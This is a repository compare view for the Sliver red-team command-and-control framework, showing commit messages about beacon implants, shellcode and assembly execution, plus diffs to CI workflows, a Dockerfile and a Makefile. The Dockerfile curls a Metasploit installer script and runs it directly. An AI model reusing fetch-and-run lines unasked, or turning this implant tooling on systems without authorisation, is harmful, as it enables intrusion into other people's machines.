moloch-- 268db3ce00 Implemented more task fetch renderers 2021-09-25 12:10:24 -05:00
moloch-- 03dfb2f5d9 Added command to fetch old task results 2021-09-25 10:07:29 -05:00
moloch-- d4e809d889 Updated ssh to work with beacon 2021-09-25 08:44:38 -05:00
moloch-- 6f6fd8f0f5 Updated spawndll client cmd 2021-09-25 08:21:45 -05:00
moloch-- f5e374293c Updated server-side rpc's for execute-assembly, sideload, spawndll 2021-09-25 07:56:36 -05:00
moloch-- 8f12e35124 Ported msf/msf-remote to support beacon 2021-09-25 07:06:27 -05:00
moloch-- b27809d9ba Added beacon support to execute-shellcode 2021-09-24 22:52:13 -05:00
moloch-- 377d56bda3 Added beacon support to execute-assembly 2021-09-24 22:35:46 -05:00
moloch-- 4bcb0cb61f Only paginate on 2x terminal sized tables 2021-09-24 20:46:17 -05:00
moloch-- 9d6870e792 UX improvements 2021-09-24 19:34:44 -05:00
moloch-- 93b1e3a7b4 Fix use context switch 2021-09-23 20:37:06 -05:00
moloch-- 90f799a6f2 UX improvements 2021-09-23 19:23:13 -05:00
moloch-- 251423bc28 Improved beacon ux 2021-09-23 15:38:57 -05:00
moloch-- 03957f4d01 Fix next/last checkin for beacons 2021-09-23 13:50:31 -05:00
moloch-- a7d07e372a Bug fixes to http(s) beacons 2021-09-23 08:42:55 -05:00
moloch-- 364b0d6f57 Added http close() 2021-09-22 14:42:58 -05:00
moloch-- 52ef179988 Improved comments 2021-09-22 07:52:55 -05:00
moloch-- 79a50d24fe Go v1.17.1 2021-09-21 09:19:50 -05:00
moloch-- 4e23091147 Send hash of public key instead of public key 2021-09-20 19:02:19 -05:00
moloch-- 98e7f7abf8 New key exchange working 2021-09-20 18:32:54 -05:00
moloch-- 92e833a481 Fixes/refactor to mtls 2021-09-20 17:30:53 -05:00
moloch-- b442f95a7b Major refactor of core crypto 2021-09-20 16:33:36 -05:00
moloch-- da8d5b8a0c wip on pivots 2021-09-19 20:41:46 -05:00
moloch-- 3151b559a6 Added chacha20poly1305 to cryptography 2021-09-17 16:36:33 -05:00
moloch-- b02489a5d3 Fixes/updates operators status command 2021-09-14 19:13:42 -05:00
moloch-- eb57802c28 More strict auth checks in middleware 2021-09-14 16:45:31 -05:00
Joe 767644ddc3 Merge pull request #510 from RafBishopFox/stage
A small fix for ls
2021-09-13 17:15:29 -05:00
Raf 185913c6eb client/command/filesystem/ls: Fix an off-by-one error that prevented the ls command from operating against the root of the drive. 2021-09-13 15:22:29 -04:00
moloch-- e3093bee6e Implemented a real kick-operator cmd 2021-09-11 23:18:24 -05:00
moloch-- f6014393be Added per-operator call credentials 2021-09-11 22:39:32 -05:00
moloch-- 90de40f1ee gofmt 2021-09-11 19:57:15 -05:00
a3sroot 43548ad4b2 Merged pr #509 2021-09-11 19:54:29 -05:00
moloch-- 09358666a1 Fix null http session bug and nil ptr in sessions cmd 2021-09-11 19:14:27 -05:00
moloch-- 213ad330c5 Fixed variable shadowing issue when executing multiple tasks 2021-09-11 15:19:25 -05:00
moloch-- f7d7bdc677 Implemented async versions of all fs commands 2021-09-11 13:23:29 -05:00
moloch-- c292ac4b28 The ls command works round trip 2021-09-11 10:43:59 -05:00
moloch-- f576c138c9 Added task counts and pb descriptions 2021-09-11 09:16:47 -05:00
moloch-- 216054e90c Implemented task rpc's 2021-09-10 18:48:30 -05:00
moloch-- 62e311fb6f Beacons can return results 2021-09-10 16:25:31 -05:00
moloch-- 90de32b6f2 Added additional settings 2021-09-10 13:27:13 -05:00
rkervella cc2a5bb622 Refactor 2021-09-10 17:27:59 +02:00
moloch-- b8b20711fe Implemented async task creation 2021-09-10 09:37:38 -05:00
rkervella 3d7889183a Revert "Refactoring"
This reverts commit de7fd664cd.
2021-09-10 16:17:49 +02:00
rkervella d2297f9423 Revert "Escape string before JSON parsing"
This reverts commit 1549b894fa.
2021-09-10 16:13:47 +02:00
rkervella de7fd664cd Refactoring 2021-09-10 15:25:05 +02:00
moloch-- f87582462d Re-implemented UseCmd args 2021-09-10 07:58:28 -05:00
rkervella 1549b894fa Escape string before JSON parsing 2021-09-10 13:39:59 +02:00
rkervella 32119e09dc Add PID to bof result 2021-09-10 12:31:26 +02:00
rkervella 4dd5319987 Check for nil pointer 2021-09-10 11:06:46 +02:00
rkervella 860452c418 Removed comment 2021-09-10 10:51:55 +02:00
moloch-- 87fba59c57 Implemented client settings and customizable tables 2021-09-09 18:22:32 -05:00
moloch-- ab58a67df4 converted beacons cmd to table writer 2021-09-09 17:42:57 -05:00
moloch-- 424db7bdca Added command/settings and porting tables to use lib 2021-09-09 16:29:28 -05:00
moloch-- cec1451dec Do not export active session 2021-09-09 11:19:33 -05:00
rkervella 4d64866a15 Remove commented code 2021-09-09 10:19:27 +02:00
rkervella 1d859f99c8 Initial BOF support for Prelude Operator 2021-09-08 13:55:31 +02:00
moloch-- e79e3daf7d Updated use cmd 2021-09-07 18:11:52 -05:00
moloch-- 1a632f48ff Initial refactor of client code to support beacons and sessions 2021-09-07 17:43:35 -05:00
moloch-- 83adb36bbd Beacon rm tweaks 2021-09-06 20:43:06 -05:00
moloch-- 686452a65e Implemented rm beacon cmd 2021-09-06 20:36:08 -05:00
moloch-- e436e9ca89 Outlined beacon tasks 2021-09-06 19:49:05 -05:00
moloch-- db29281233 Implemented beacons cmd 2021-09-06 19:01:16 -05:00
moloch-- 65cea9eeb2 Wired handler to db 2021-09-06 17:47:46 -05:00
moloch-- 06a44f980b Basic beacon compiles 2021-09-06 15:06:08 -05:00
moloch-- 952f22583e Improvements to handling of poll timeout value 2021-09-06 11:14:43 -05:00
moloch-- 5429c8d45a Fix http client desync issue 2021-09-06 10:06:19 -05:00
moloch-- 9e8bfb62d7 Improvements to time handling, configurable client poll timeout 2021-09-06 09:55:47 -05:00
moloch-- 45ef2a27a9 Merged burned/health columns 2021-09-05 16:16:12 -05:00
moloch-- 93a1492a05 Fix time, moved more to int64 2021-09-05 14:05:40 -05:00
moloch-- b554b49b42 All time fields are int64 2021-09-05 12:25:10 -05:00
moloch-- e7d8495cb0 Server compiles 2021-09-05 11:16:50 -05:00
moloch-- 2ebb2734bf Merge stage, wip on server-side beacon support 2021-09-05 09:52:32 -05:00
rkervella c3f5f2bf85 Remove logging 2021-09-05 10:53:37 +02:00
rkervella 515b927791 Set default AES key 2021-09-05 09:56:17 +02:00
rkervella 35489e974f Rename operator to prelude-operator 2021-09-05 09:47:02 +02:00
rkervella e2cf688044 Merge branch 'prelude-operator' into stage 2021-09-05 09:45:55 +02:00
moloch-- 79772297bc wip on deticated beacon mode 2021-09-04 19:00:11 -05:00
moloch-- 7d4de43559 wip on deticated beacon mode 2021-09-04 17:39:08 -05:00
moloch-- 7df290386e wip on deticated beacon mode 2021-09-04 16:50:14 -05:00
moloch-- fc5673b33e Added fallback host uuid method 2021-09-04 14:10:07 -05:00
moloch-- 31a53a4cba Fix named pipe / unit tests 2021-09-04 12:59:26 -05:00
moloch-- 8967bcf35d Remove duplicate GetSpecialHandlers() 2021-09-04 12:27:34 -05:00
moloch-- 6d4b28731e Refactoring implant transports, and handlers 2021-09-04 12:11:16 -05:00
moloch-- 235201f701 Refactoring implant transports 2021-09-04 09:34:45 -05:00
rkervella d1135d1d68 Add Prelude's Operator support 2021-09-04 12:31:34 +02:00
moloch-- a998a571f9 Various fixes to http c2 transport 2021-09-03 20:49:50 -05:00
moloch-- ce3cee731c Improved c2 unit tests 2021-09-03 17:55:20 -05:00
moloch-- 9e924efcb2 Fix unit tests for matcher funcs 2021-09-03 17:43:40 -05:00
moloch-- 23309233a8 Merged stage 2021-09-03 17:18:53 -05:00
moloch-- e107382d07 Improvements to http server 2021-09-03 10:02:01 -05:00
moloch-- 9ea9d1add8 Fixes to the http router and path generation 2021-09-02 09:20:50 -05:00
moloch-- bc5a622944 Improved unit tests 2021-09-02 08:14:09 -05:00
moloch-- c24a37edcd Renamed implant generation code 2021-09-01 20:56:23 -05:00
moloch-- 536171e8ac Fix paths for sliver .c and .h 2021-09-01 16:39:21 -05:00
moloch-- 4d17f0ed66 Moved pty to build constraints in shell pkg 2021-09-01 16:23:37 -05:00
moloch-- 1e5bf9a39c Fix version build constraints 2021-09-01 16:06:07 -05:00
moloch-- 18cb8d142d Fix version pkg 2021-09-01 15:56:54 -05:00
moloch-- b3467e0512 Fix shell pkg 2021-09-01 15:38:17 -05:00
moloch-- 8a1845baf8 Major refactor to implant render code 2021-09-01 14:50:52 -05:00
moloch-- 00a2faf137 Code cleanup, added max req length 2021-09-01 09:14:32 -05:00
moloch-- 6fb3835e14 Merged stage, fix unit tests 2021-08-31 08:38:02 -05:00
moloch-- f3144eb919 wip on server-side updates 2021-08-31 07:17:32 -05:00
moloch-- 83c5fad8eb Go mod vendor 2021-08-28 18:27:37 -05:00
moloch-- bfe2013eb5 Merged otp 2021-08-28 18:19:31 -05:00
moloch-- 0923de192c Updated with other branches 2021-08-28 18:17:32 -05:00
moloch-- c41e9dead0 Session connects 2021-08-28 17:58:32 -05:00
moloch-- e989ba581b Basic outline of http/otp working 2021-08-28 14:02:26 -05:00
moloch-- 7f9657f32d WIP on otp 2021-08-27 15:26:33 -05:00
moloch-- 8cc3f1984a Updated garble 2021-08-26 17:31:01 -05:00
rkervella d337d4f13c Merge branch 'master' into stage 2021-08-23 09:42:24 +02:00
rkervella 75dd1b1a26 Add missing imports 2021-08-20 16:33:19 +02:00
rkervella 359746120a Add execute redirection to remote file 2021-08-20 16:13:59 +02:00
rkervella b08728765d Add missing import 2021-08-20 12:59:45 +02:00
rkervella cbfae11876 Reflect changes to windows executeTokenHandler 2021-08-20 12:34:25 +02:00
rkervella b7a814f0c5 Rework execute stdout/stderr handling 2021-08-20 11:58:22 +02:00
rkervella 572e717634 Move DLL hijack to client protobuf side 2021-08-20 11:23:06 +02:00
4884 changed files with 4285434 additions and 67953 deletions

No files matched your search

+1
View File
@@ -0,0 +1 @@
* @BishopFox/red-team
+16
View File
@@ -0,0 +1,16 @@
# Basic set up for three package managers
version: 2
updates:
# Maintain dependencies for GitHub Actions
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
# Maintain dependencies for go
- package-ecosystem: "gomod"
directory: "/"
schedule:
interval: "weekly"
+52 -43
View File
@@ -3,7 +3,7 @@ name: Release
on:
push:
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
branches: [master]
branches: [master, goreleaser]
jobs:
@@ -14,10 +14,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.17
uses: actions/setup-go@v2
- name: Go 1.18
uses: actions/setup-go@v3
with:
go-version: '^1.17'
go-version: '1.18.6'
- name: OS Packages
run: |
@@ -26,7 +26,7 @@ jobs:
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v2
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -35,19 +35,25 @@ jobs:
run: ./go-assets.sh
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
uses: actions/upload-artifact@v2
uses: actions/upload-artifact@v3
with:
name: linux
path: ./sliver-*
- name: Make Windows
run: export PATH=/home/runner/go/bin/:$PATH && make windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v2
uses: actions/upload-artifact@v3
with:
name: windows
path: ./sliver-*
@@ -59,16 +65,16 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.17
uses: actions/setup-go@v2
- name: Go 1.18
uses: actions/setup-go@v3
with:
go-version: '^1.17'
go-version: '1.18.6'
- name: Mingw
run: brew install mingw-w64
- name: Check out code into the Go module directory
uses: actions/checkout@v2
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -77,13 +83,17 @@ jobs:
run: ./go-assets.sh
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
# - name: Make ARM64
# run: make macos-arm64
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v2
uses: actions/upload-artifact@v3
with:
name: macos
path: ./sliver-*
@@ -98,10 +108,18 @@ jobs:
timeout-minutes: 45
steps:
- run: mkdir -p ./release && mkdir -p ./artifacts
- uses: actions/download-artifact@v2
- run: mkdir -p ./builds
- uses: actions/download-artifact@v3
with:
path: ./artifacts
path: ./builds
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- id: install-secret-key
name: GPG Key(s)
@@ -109,43 +127,34 @@ jobs:
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- name: Release
run: mkdir -p ./release
# Linux
- name: Linux AMD64
run: |
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# Windows
- name: Windows AMD64
run: |
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# MacOS AMD64
- name: MacOS AMD64
run: |
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS ARM64
# - name: Package MacOS ARM64
# run: |
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: false
prerelease: true
files: |
./release/*
./artifacts/*
+7 -7
View File
@@ -17,13 +17,13 @@ jobs:
steps:
# Setup go environment
- name: Go 1.17
uses: actions/setup-go@v2
- name: Go 1.18
uses: actions/setup-go@v3
with:
go-version: "^1.17"
go-version: "1.18.6"
- name: Checkout repository
uses: actions/checkout@v2
uses: actions/checkout@v3
with:
# Must fetch at least the immediate parents so that if this is
# a pull request then we can checkout the head of the pull request.
@@ -55,14 +55,14 @@ jobs:
&& make install
- name: Check out code into the Go module directory
uses: actions/checkout@v2
uses: actions/checkout@v3
- name: Go Assets
run: ./go-assets.sh
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v1
uses: github/codeql-action/init@v2
with:
config-file: ./.github/codeql/codeql-config.yml
languages: go
@@ -72,6 +72,6 @@ jobs:
make
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v1
uses: github/codeql-action/analyze@v2
env:
VERSION: ${{github.sha}}
+15 -10
View File
@@ -6,19 +6,24 @@ on:
pull_request:
branches:
- master
types:
- opened
- reopened
- synchronize
- ready_for_review
jobs:
linux-windows-build:
name: Linux & Windows Build
runs-on: ubuntu-latest
timeout-minutes: 45
timeout-minutes: 90
steps:
- name: Go 1.17
uses: actions/setup-go@v2
- name: Go 1.18
uses: actions/setup-go@v3
with:
go-version: '^1.17'
go-version: '1.18.6'
- name: OS Packages
run: |
@@ -27,7 +32,7 @@ jobs:
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v2
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -47,19 +52,19 @@ jobs:
macos-build:
name: MacOS Build
runs-on: macos-latest
timeout-minutes: 45
timeout-minutes: 90
steps:
- name: Go 1.17
uses: actions/setup-go@v2
- name: Go 1.18
uses: actions/setup-go@v3
with:
go-version: '^1.17'
go-version: '1.18.6'
- name: Mingw
run: brew install mingw-w64
- name: Check out code into the Go module directory
uses: actions/checkout@v2
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
+3
View File
@@ -1,5 +1,6 @@
/.vscode/*
/.devcontainer
/.idea
/Dockerfile.*
/*.sdk.tar.xz
@@ -39,3 +40,5 @@ sliver-server-windows.zip
.glide/
.DS_Store
dist/
+2 -1
View File
@@ -24,9 +24,10 @@ Contributing to Sliver
* _Never_ use homegrown or non-peer reviewed encryption or random number generation algorithms.
* Whenever possible, use the following algorithms/encryption modes:
- AES-GCM-256
- RSA-OAEP-2048 / RSA-OAEP-4096
- SHA2-256 / HMAC-SHA2-256 or higher (e.g. SHA2-384)
- Curves P521, P384, P256
- Curve25519, XSalsa20, and Poly1305 (Nacl)
- ChaCha20Poly1305
* _Never_ use the following in a security context, and _avoid_ use even in a non-security context:
- MD5
- SHA1
+16 -16
View File
@@ -1,4 +1,4 @@
FROM golang:1.17
FROM golang:1.18.6
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,22 +6,22 @@ FROM golang:1.17
# a Docker deployment this is probably a good place to start.
#
ENV PROTOC_VER 3.17.1
ENV PROTOC_GEN_GO_VER v1.26.0
ENV GRPC_GO v1.1.0
ENV PROTOC_VER 3.19.4
ENV PROTOC_GEN_GO_VER v1.27.1
ENV GRPC_GO v1.2.0
# Base packages
RUN apt-get update --fix-missing && apt-get -y install \
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
#
# > User
@@ -33,8 +33,8 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
# > Metasploit
#
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall
&& chmod 755 msfinstall \
&& ./msfinstall
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
+92 -67
View File
@@ -3,36 +3,51 @@
#
GO ?= go
ENV = CGO_ENABLED=1
TAGS = -tags osusergo,netgo,sqlite_omit_load_extension
#
# Version Information
#
GO_VERSION = $(shell $(GO) version)
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
PKG = github.com/bishopfox/sliver/client/version
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
LDFLAGS = -ldflags "-s -w \
-X $(PKG).Version=$(VERSION) \
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
-X $(PKG).CompiledAt=$(COMPILED_AT) \
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(PKG).GitCommit=$(GIT_COMMIT) \
-X $(PKG).GitDirty=$(GIT_DIRTY)"
ARTIFACT_SUFFIX ?=
ENV =
TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
#
# Prerequisites
#
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
EXECUTABLES = uname sed git zip date $(GO)
EXECUTABLES = uname sed git zip date cut $(GO)
K := $(foreach exec,$(EXECUTABLES),\
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
#
# Version Information
#
GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 18
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
LDFLAGS = -ldflags "-s -w \
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
SED_INPLACE := sed -i
STATIC_TARGET := linux
@@ -41,90 +56,101 @@ UNAME_P := $(shell uname -p)
# If the target is Windows from Linux/Darwin, check for mingw
CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
ifneq (,$(findstring cgosqlite,$(TAGS)))
ENV +=CGO_ENABLED=1
ifeq ($(MAKECMDGOALS), windows)
K := $(foreach exec,$(CROSS_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
endif
# Programs required for generating protobuf/grpc files
PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
ifeq ($(MAKECMDGOALS), pb)
K := $(foreach exec,$(PB_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
$(if $(shell which $(exec)),some string,$(error "Missing protobuf util $(exec) in PATH")))
endif
# *** Start Darwin ***
# *** Darwin ***
ifeq ($(UNAME_S),Darwin)
SED_INPLACE := sed -i ''
STATIC_TARGET := macos
endif
# If no target is specified, determine GOARCH
ifeq ($(UNAME_P),arm)
ENV += GOARCH=arm64
endif
ifeq ($(MAKECMDGOALS), windows)
K := $(foreach exec,$(CROSS_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
endif
# *** End Darwin ***
# *** Start Linux ***
ifeq ($(UNAME_S),Linux)
ifeq ($(MAKECMDGOALS), windows)
K := $(foreach exec,$(CROSS_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
ifeq ($(MAKECMDGOALS), )
ENV += GOARCH=arm64
endif
endif
ifeq ($(MAKECMDGOALS), linux)
# Redefine LDFLAGS to add the static part
LDFLAGS = -ldflags "-s -w \
-extldflags '-static' \
-X $(PKG).Version=$(VERSION) \
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
-X $(PKG).CompiledAt=$(COMPILED_AT) \
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(PKG).GitCommit=$(GIT_COMMIT) \
-X $(PKG).GitDirty=$(GIT_DIRTY)"
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
endif
# *** End Linux ***
#
# Targets
#
.PHONY: default
default: clean
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
default: clean validate-go-version
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos
macos: clean
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
macos: clean validate-go-version
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos-arm64
macos-arm64: clean
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
macos-arm64: clean validate-go-version
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux
linux: clean
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
linux: clean validate-go-version
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux-arm64
linux-arm64: clean validate-go-version
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: windows
windows: clean
